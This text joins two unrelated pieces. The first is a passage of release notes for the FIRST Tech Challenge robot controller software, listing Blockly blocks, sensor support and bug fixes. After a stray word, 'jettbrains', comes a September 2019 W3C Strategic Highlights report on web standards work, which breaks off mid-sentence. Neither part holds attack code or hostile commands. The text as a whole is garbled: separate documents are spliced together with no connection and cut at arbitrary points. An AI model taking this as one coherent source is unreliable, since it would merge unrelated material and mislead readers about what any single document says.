clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
jettbrains
W3C Strategic Highlights September 2019 This report was prepared for the September 2019 W3C Advisory Committee Meeting (W3C Member link). See the accompanying W3C Fact Sheet — September 2019. For the previous edition, see the April 2019 W3C Strategic Highlights. For future editions of this report, please consult the latest version. A Chinese translation is available. ☰ Contents Introduction Future Web Standards Meeting Industry Needs Web Payments Digital Publishing Media and Entertainment Web & Telecommunications Real-Time Communications (WebRTC) Web & Networks Automotive Web of Things Strengthening the Core of the Web HTML CSS Fonts SVG Audio Performance Web Performance WebAssembly Testing Browser Testing and Tools WebPlatform Tests Web of Data Web for All Security, Privacy, Identity Internationalization (i18n) Web Accessibility Outreach to the world W3C Developer Relations W3C Training Translations W3C Liaisons Introduction This report highlights recent work of enhancement of the existing landscape of the Web platform and innovation for the growth and strength of the Web. 33 working groups and a dozen interest groups enable W3C to pursue its mission through the creation of Web standards, guidelines, and supporting materials. We track the tremendous work done across the Consortium through homogeneous work-spaces in Github which enables better monitoring and management. We are in the middle of a period where we are chartering numerous working groups which demonstrate the rapid degree of change for the Web platform: After 4 years, we are nearly ready to publish a Payment Request API Proposed Recommendation and we need to soon charter follow-on work. In the last year we chartered the Web Payment Security Interest Group. In the last year we chartered the Web Media Working Group with 7 specifications for next generation Media support on the Web. We have Accessibility Guidelines under W3C Member review which includes Silver, a new approach. We have just launched the Decentralized Identifier Working Group which has tremendous potential because Decentralized Identifier (DID) is an identifier that is globally unique, resolveable with high availability, and cryptographically verifiable. We have Privacy IG (PING) under W3C Member review which strengthens our focus on the tradeoff between privacy and function. We have a new CSS charter under W3C Member review which maps the group's work for the next three years. In this period, W3C and the WHATWG have succesfully completed the negotiation of a Memorandum of Understanding rooted in the mutual belief that that having two distinct specifications claiming to be normative is generally harmful for the Web community. The MOU, signed last May, describes how the two organizations are to collaborate on the development of a single authoritative version of the HTML and DOM specifications. W3C subsequently rechartered the HTML Working Group to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and for the production of W3C Recommendations from WHATWG Review Drafts. As the Web evolves continuously, some groups are looking for ways for specifications to do so as well. So-called "evergreen recommendations" or "living standards" aim to track continuous development (and maintenance) of features, on a feature-by-feature basis, while getting review and patent commitments. We see the maturation and further development of an incredible number of new technologies coming to the Web. Continued progress in many areas demonstrates the vitality of the W3C and the Web community, as the rest of the report illustrates. Future Web Standards W3C has a variety of mechanisms for listening to what the community thinks could become good future Web standards. These include discussions with the Membership, discussions with other standards bodies, the activities of thousands of participants in over 300 community groups, and W3C Workshops. There are lots of good ideas. The W3C strategy team has been identifying promising topics and invites public participation. Future, recent and under consideration Workshops include: Inclusive XR (5-6 November 2019, Seattle, WA, USA) to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive, including to people with disabilities; W3C Workshop on Data Models for Transportation (12-13 September 2019, Palo Alto, CA, USA) W3C Workshop on Web Games (27-28 June 2019, Redmond, WA, USA), view report Second W3C Workshop on the Web of Things (3-5 June 2019, Munich, Germany) W3C Workshop on Web Standardization for Graph Data; Creating Bridges: RDF, Property Graph and SQL (4-6 March 2019, Berlin, Germany), view report Web & Machine Learning. The Strategy Funnel documents the staff's exploration of potential new work at various phases: Exploration and Investigation, Incubation and Evaluation, and eventually to the chartering of a new standards group. The Funnel view is a GitHub Project where new area are issues represented by “cards” which move through the columns, usually from left to right. Most cards start in Exploration and move towards Chartering, or move out of the funnel. Public input is welcome at any stage but particularly once Incubation has begun. This helps W3C identify work that is sufficiently incubated to warrant standardization, to review the ecosystem around the work and indicate interest in participating in its standardization, and then to draft a charter that reflects an appropriate scope. Ongoing feedback can speed up the overall standardization process. Since the previous highlights document, W3C has chartered a number of groups, and started discussion on many more: Newly Chartered or Rechartered Web Application Security WG (03-Apr) Web Payment Security IG (17-Apr) Patent and Standards IG (24-Apr) Web Applications WG (14-May) Web & Networks IG (16-May) Media WG (23-May) Media and Entertainment IG (06-Jun) HTML WG (06-Jun) Decentralized Identifier WG (05-Sep) Extended Privacy IG (PING) (30-Sep) Verifiable Claims WG (30-Sep) Service Workers WG (31-Dec) Dataset Exchange WG (31-Dec) Web of Things Working Group (31-Dec) Web Audio Working Group (31-Dec) Proposed charters / Advance Notice Accessibility Guidelines WG Privacy IG (PING) RDF Literal Direction WG Timed Text WG CSS WG Web Authentication WG Closed Internationalization Tag Set IG Meeting Industry Needs Web Payments All Web Payments specifications W3C's payments standards enable a streamlined checkout experience, enabling a consistent user experience across the Web with lower front end development costs for merchants. Users can store and reuse information and more quickly and accurately complete online transactions. The Web Payments Working Group has republished Payment Request API as a Candidate Recommendation, aiming to publish a Proposed Recommendation in the Fall 2019, and is discussing use cases and features for Payment Request after publication of the 1.0 Recommendation. Browser vendors have been finalizing implementation of features added in the past year (view the implementation report). As work continues on the Payment Handler API and its implementation (currently in Chrome and Edge Canary), one focus in 2019 is to increase adoption in other browsers. Recently, Mastercard demonstrated the use of Payment Request API to carry out EMVCo's Secure Remote Commerce (SRC) protocol whose payment method definition is being developed with active participation by Visa, Mastercard, American Express, and Discover. Payment method availability is a key factor in merchant considerations about adopting Payment Request API. The ability to get uniform adoption of a new payment method such as Secure Remote Commerce (SRC) also depends on the availability of the Payment Handler API in browsers, or of proprietary alternatives. Web Monetization, which the Web Payments Working Group will discuss again at its face-to-face meeting in September, can be used to enable micropayments as an alternative revenue stream to advertising. Since the beginning of 2019, Amazon, Brave Software, JCB, Certus Cybersecurity Solutions and Netflix have joined the Web Payments Working Group. In April, W3C launched the Web Payment Security Group to enable W3C, EMVCo, and the FIDO Alliance to collaborate on a vision for Web payment security and interoperability. Participants will define areas of collaboration and identify gaps between existing technical specifications in order to increase compatibility among different technologies, such as: How do SRC, FIDO, and Payment Request relate? The Payment Services Directive 2 (PSD2) regulations in Europe are scheduled to take effect in September 2019. What is the role of EMVCo, W3C, and FIDO technologies, and what is the current state of readiness for the deadline? How can we improve privacy on the Web at the same time as we meet industry requirements regarding user identity? Digital Publishing All Digital Publishing specifications, Publication milestones The Web is the universal publishing platform. Publishing is increasingly impacted by the Web, and the Web increasingly impacts Publishing. Topic of particular interest to Publishing@W3C include typography and layout, accessibility, usability, portability, distribution, archiving, offline access, print on demand, and reliable cross referencing. And the diverse publishing community represented in the groups consist of the traditional "trade" publishers, ebook reading system manufacturers, but also publishers of audio book, scholarly journals or educational materials, library scientists or browser developers. The Publishing Working Group currently concentrates on Audiobooks which lack a comprehensive standard, thus incurring extra costs and time to publish in this booming market. Active development is ongoing on the future standard: Publication Manifest Audiobook profile for Web Publications Lightweight Packaging Format The BD Comics Manga Community Group, the Synchronized Multimedia for Publications Community Group, the Publishing Community Group and a future group on archival, are companions to the working group where specific work is developed and incubated. The Publishing Community Group is a recently launched incubation channel for Publishing@W3C. The goal of the group is to propose, document, and prototype features broadly related to: publications on the Web reading modes and systems and the user experience of publications The EPUB 3 Community Group has successfully completed the revision of EPUB 3.2. The Publishing Business Group fosters ongoing participation by members of the publishing industry and the overall ecosystem in the development of Web infrastructure to better support the needs of the industry. The Business Group serves as an additional conduit to the Publishing Working Group and several Community Groups for feedback between the publishing ecosystem and W3C. The Publishing BG has played a vital role in fostering and advancing the adoption and continued development of EPUB 3. In particular the BG provided critical support to the update of EPUBCheck to validate EPUB content to the new EPUB 3.2 specification. This resulted in the development, in conjunction with the EPUB3 Community Group, of a new generation of EPUBCheck, i.e., EPUBCheck 4.2 production-ready release. Media and Entertainment All Media specifications The Media and Entertainment vertical tracks media-related topics and features that create immersive experiences for end users. HTML5 brought standard audio and video elements to the Web. Standardization activities since then have aimed at turning the Web into a professional platform fully suitable for the delivery of media content and associated materials, enabling missing features to stream video content on the Web such as adaptive streaming and content protection. Together with Microsoft, Comcast, Netflix and Google, W3C received an Technology & Engineering Emmy Award in April 2019 for standardization of a full TV experience on the Web. Current goals are to: Reinforce core media technologies: Creation of the Media Working Group, to develop media-related specifications incubated in the WICG (e.g. Media Capabilities, Picture-in-picture, Media Session) and maintain maintain/evolve Media Source Extensions (MSE) and Encrypted Media Extensions (EME). Improve support for Media Timed Events: data cues incubation. Enhance color support (HDR, wide gamut), in scope of the CSS WG and in the Color on the Web CG. Reduce fragmentation: Continue annual releases of a common and testable baseline media devices, in scope of the Web Media APIs CG and in collaboration with the CTA WAVE Project. Maintain the Road-map of Media Technologies for the Web which highlights Web technologies that can be used to build media applications and services, as well as known gaps to enable additional use cases. Create the future: Discuss perspectives for Media and Entertainment for the Web. Bring the power of GPUs to the Web (graphics, machine learning, heavy processing), under incubation in the GPU for the Web CG. Transition to a Working Group is under discussion. Determine next steps after the successful W3C Workshop on Web Games of June 2019. View the report. Timed Text The Timed Text Working Group develops and maintains formats used for the representation of text synchronized with other timed media, like audio and video, and notably works on TTML, profiles of TTML, and WebVTT. Recent progress includes: A robust WebVTT implementation report poises the specification for publication as a proposed recommendation. Discussions around re-chartering, notably to add a TTML Profile for Audio Description deliverable to the scope of the group, and clarify that rendering of captions within XR content is also in scope. Immersive Web Hardware that enables Virtual Reality (VR) and Augmented Reality (AR) applications are now broadly available to consumers, offering an immersive computing platform with both new opportunities and challenges. The ability to interact directly with immersive hardware is critical to ensuring that the web is well equipped to operate as a first-class citizen in this environment. The Immersive Web Working Group has been stabilizing the WebXR Device API while the companion Immersive Web Community Group incubates the next series of features identified as key for the future of the Immersive Web. W3C plans a workshop focused on the needs and benefits at the intersection of VR & Accessibility (Inclusive XR), on 5-6 November 2019 in Seattle, WA, USA, to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive. Web & Telecommunications The Web is the Open Platform for Mobile. Telecommunication service providers and network equipment providers have long been critical actors in the deployment of Web technologies. As the Web platform matures, it brings richer and richer capabilities to extend existing services to new users and devices, and propose new and innovative services. Real-Time Communications (WebRTC) All Real-Time Communications specifications WebRTC has reshaped the whole communication landscape by making any connected device a potential communication end-point, bringing audio and video communications anywhere, on any network, vastly expanding the ability of operators to reach their customers. WebRTC serves as the corner-stone of many online communication and collaboration services. The WebRTC Working Group aims to bringing WebRTC 1.0 (and companion specification Media Capture and Streams) to Recommendation by the end of 2019. Intense efforts are focused on testing (supported by a dedicated hackathon at IETF 104) and interoperability. The group is considering pushing features that have not gotten enough traction to separate modules or to a later minor revision of the spec. Beyond WebRTC 1.0, the WebRTC Working Group will focus its efforts on WebRTC NV which the group has started documenting by identifying use cases. Web & Networks Recently launched, in the wake of the May 2018 Web5G workshop, the Web & Networks Interest Group is chaired by representatives from AT&T, China Mobile and Intel, with a goal to explore solutions for web applications to achieve better performance and resource allocation, both on the device and network. The group's first efforts are around use cases, privacy & security requirements and liaisons. Automotive All Automotive specifications To create a rich application ecosystem for vehicles and other devices allowed to connect to the vehicle, the W3C Automotive Working Group is delivering a service specification to expose all common vehicle signals (engine temperature, fuel/charge level, range, tire pressure, speed, etc.) The Vehicle Information Service Specification (VISS), which is a Candidate Recommendation, is seeing more implementations across the industry. It provides the access method to a common data model for all the vehicle signals –presently encapsulating a thousand or so different data elements– and will be growing to accommodate the advances in automotive such as autonomous and driver assist technologies and electrification. The group is already working on a successor to VISS, leveraging the underlying data model and the VIWI submission from Volkswagen, for a more robust means of accessing vehicle signals information and the same paradigm for other automotive needs including location-based services, media, notifications and caching content. The Automotive and Web Platform Business Group acts as an incubator for prospective standards work. One of its task forces is using W3C VISS in performing data sampling and off-boarding the information to the cloud. Access to the wealth of information that W3C's auto signals standard exposes is of interest to regulators, urban planners, insurance companies, auto manufacturers, fleet managers and owners, service providers and others. In addition to components needed for data sampling and edge computing, capturing user and owner consent, information collection methods and handling of data are in scope. The upcoming W3C Workshop on Data Models for Transportation (September 2019) is expected to focus on the need of additional ontologies around transportation space. Web of Things All Web of Things specifications W3C's Web of Things work is designed to bridge disparate technology stacks to allow devices to work together and achieve scale, thus enabling the potential of the Internet of Things by eliminating fragmentation and fostering interoperability. Thing descriptions expressed in JSON-LD cover the behavior, interaction affordances, data schema, security configuration, and protocol bindings. The Web of Things complements existing IoT ecosystems to reduce the cost and risk for suppliers and consumers of applications that create value by combining multiple devices and information services. There are many sectors that will benefit, e.g. smart homes, smart cities, smart industry, smart agriculture, smart healthcare and many more. The Web of Things Working Group is finishing the initial Web of Things standards, with support from the Web of Things Interest Group: Web of Things Architecture Thing Descriptions Strengthening the Core of the Web HTML The HTML Working Group was chartered early June to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and to produce W3C Recommendations from WHATWG Review Drafts. A few days before, W3C and the WHATWG signed a Memorandum of Understanding outlining the agreement to collaborate on the development of a single version of the HTML and DOM specifications. Issues and proposed solutions for HTML and DOM done via the newly rechartered HTML Working Group in the WHATWG repositories The HTML Working Group is targetting November 2019 to bring HTML and DOM to Candidate Recommendations. CSS All CSS specifications CSS is a critical part of the Open Web Platform. The CSS Working Group gathers requirements from two large groups of CSS users: the publishing industry and application developers. Within W3C, those groups are exemplified by the Publishing groups and the Web Platform Working Group. The former requires things like better pagination support and advanced font handling, the latter needs intelligent (and fast!) scrolling and animations. What we know as CSS is actually a collection of almost a hundred specifications, referred to as ‘modules’. The current state of CSS is defined by a snapshot, updated once a year. The group also publishes an index defining every term defined by CSS specifications. Fonts All Fonts specifications The Web Fonts Working Group develops specifications that allow the interoperable deployment of downloadable fonts on the Web, with a focus on Progressive Font Enrichment as well as maintenance of WOFF Recommendations. Recent and ongoing work includes: Early API experiments by Adobe and Monotype have demonstrated the feasibility of a font enrichment API, where a server delivers a font with minimal glyph repertoire and the client can query the full repertoire and request additional subsets on-the-fly. In other experiments, the Brotli compression used in WOFF 2 was extended to support shared dictionaries and patch update. Metrics to quantify improvement are a current hot discussion topic. The group will meet at ATypi 2019 in Japan, to gather requirements from the international typography community. The group will first produce a report summarizing the strengths and weaknesses of each prototype solution by Q2 2020. SVG All SVG specifications SVG is an important and widely-used part of the Open Web Platform. The SVG Working Group focuses on aligning the SVG 2.0 specification with browser implementations, having split the specification into a currently-implemented 2.0 and a forward-looking 2.1. Current activity is on stabilization, increased integration with the Open Web Platform, and test coverage analysis. The Working Group was rechartered in March 2019. A new work item concerns native (non-Web-browser) uses of SVG as a non-interactive, vector graphics format. Audio The Web Audio Working Group was extended to finish its work on the Web Audio API, expecting to publish it as a Recommendation by year end. The specification enables synthesizing audio in the browser. Audio operations are performed with audio nodes, which are linked together to form a modular audio routing graph. Multiple sources — with different types of channel layout — are supported. This modular design provides the flexibility to create complex audio functions with dynamic effects. The first version of Web Audio API is now feature complete and is implemented in all modern browsers. Work has started on the next version, and new features are being incubated in the Audio Community Group. Performance Web Performance All Web Performance specifications There are currently 18 specifications in development in the Web Performance Working Group aiming to provide methods to observe and improve aspects of application performance of user agent features and APIs. The W3C team is looking at related work incubated in the W3C GPU for the Web (WebGPU) Community Group which is poised to transition to a W3C Working Group. A preliminary draft charter is available. WebAssembly All WebAssembly specifications WebAssembly improves Web performance and power by being a virtual machine and execution environment enabling loaded pages to run native (compiled) code. It is deployed in Firefox, Edge, Safari and Chrome. The specification will soon reach Candidate Recommendation. WebAssembly enables near-native performance, optimized load time, and perhaps most importantly, a compilation target for existing code bases. While it has a small number of native types, much of the performance increase relative to Javascript derives from its use of consistent typing. WebAssembly leverages decades of optimization for compiled languages and the byte code is optimized for compactness and streaming (the web page starts executing while the rest of the code downloads). Network and API access all occurs through accompanying Javascript libraries -- the security model is identical to that of Javascript. Requirements gathering and language development occur in the Community Group while the Working Group manages test development, community review and progression of specifications on the Recommendation Track. Testing Browser testing plays a critical role in the growth of the Web by: Improving the reliability of Web technology definitions; Improving the quality of implementations of these technologies by helping vendors to detect bugs in their products; Improving the data available to Web developers on known bugs and deficiencies of Web technologies by publishing results of these tests. Browser Testing and Tools The Browser Testing and Tools Working Group is developing WebDriver version 2, having published last year the W3C Recommendation of WebDriver. WebDriver acts as a remote control interface that enables introspection and control of user agents, provides a platform- and language-neutral wire protocol as a way for out-of-process programs to remotely instruct the behavior of Web, and emulates the actions of a real person using the browser. WebPlatform Tests The WebPlatform Tests project now provides a mechanism which allows to fully automate tests that previously 